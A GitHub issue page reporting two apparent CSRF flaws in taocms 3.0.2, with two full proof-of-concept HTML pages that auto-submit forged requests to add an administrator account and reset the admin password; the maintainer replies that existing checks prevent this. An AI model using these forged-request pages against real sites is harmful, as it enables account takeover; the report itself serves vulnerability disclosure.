Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There are two CSRF vulnerabilities that can add administrator account and change administrator password #6

Closed
f1rstb100d opened this issue May 30, 2021 · 1 comment

Comments

@f1rstb100d
Copy link

After the administrator logged in, when he opened following malicious pages, CSRF(Cross Site Request Forgery) vulnerabilities occurred.

poc:

one.html—add a new account which has administrator privileges

<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;

fields += "<input type='hidden' name='name' value='test' />";
fields += "<input type='hidden' name='passwd' value='test' />";  
fields += "<input type='hidden' name='auth&#95;level' value='admin' />";  
fields += "<input type='hidden' name='auth&#95;cat' value='' />"; 
fields += "<input type='hidden' name='status' value='1' />";
fields += "<input type='hidden' name='action' value='admin' />";
fields += "<input type='hidden' name='id' value='' />";
fields += "<input type='hidden' name='ctrl' value='save' />"; 
fields += "<input type='hidden' name='Submit' value='&#143;&#144;浜&#164;' />";

var url = "http://127.0.0.1/taocms-3.0.2/admin/admin.php";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>

add-admin-before
After finish this CSRF attack, we can see that a new account has been added.

add-admin-after

two.html—change current administrator’s password

<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;

fields += "<input type='hidden' name='pwd' value='admin123' />";
fields += "<input type='hidden' name='action' value='user' />";  
fields += "<input type='hidden' name='ctrl' value='update' />";  
fields += "<input type='hidden' name='Submit' value='&#191;&#174;&#148;&#185;&#33;' />";  

var url = "http://127.0.0.1/taocms-3.0.2/admin/admin.php";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>

After that, the administrator’s will change from ‘admin’ to ‘admin123’.

Solution:
Better add a CSRF token or CAPTCHA for each important request.

@taogogo
Copy link
Owner

taogogo commented Jul 29, 2021

There's a logic( https://github.com/taogogo/taocms/blob/master/admin/admin.php ) to fix this bug, so this's not a real CSRF vul, thanks all the same:)

@taogogo taogogo closed this as completed Jul 29, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants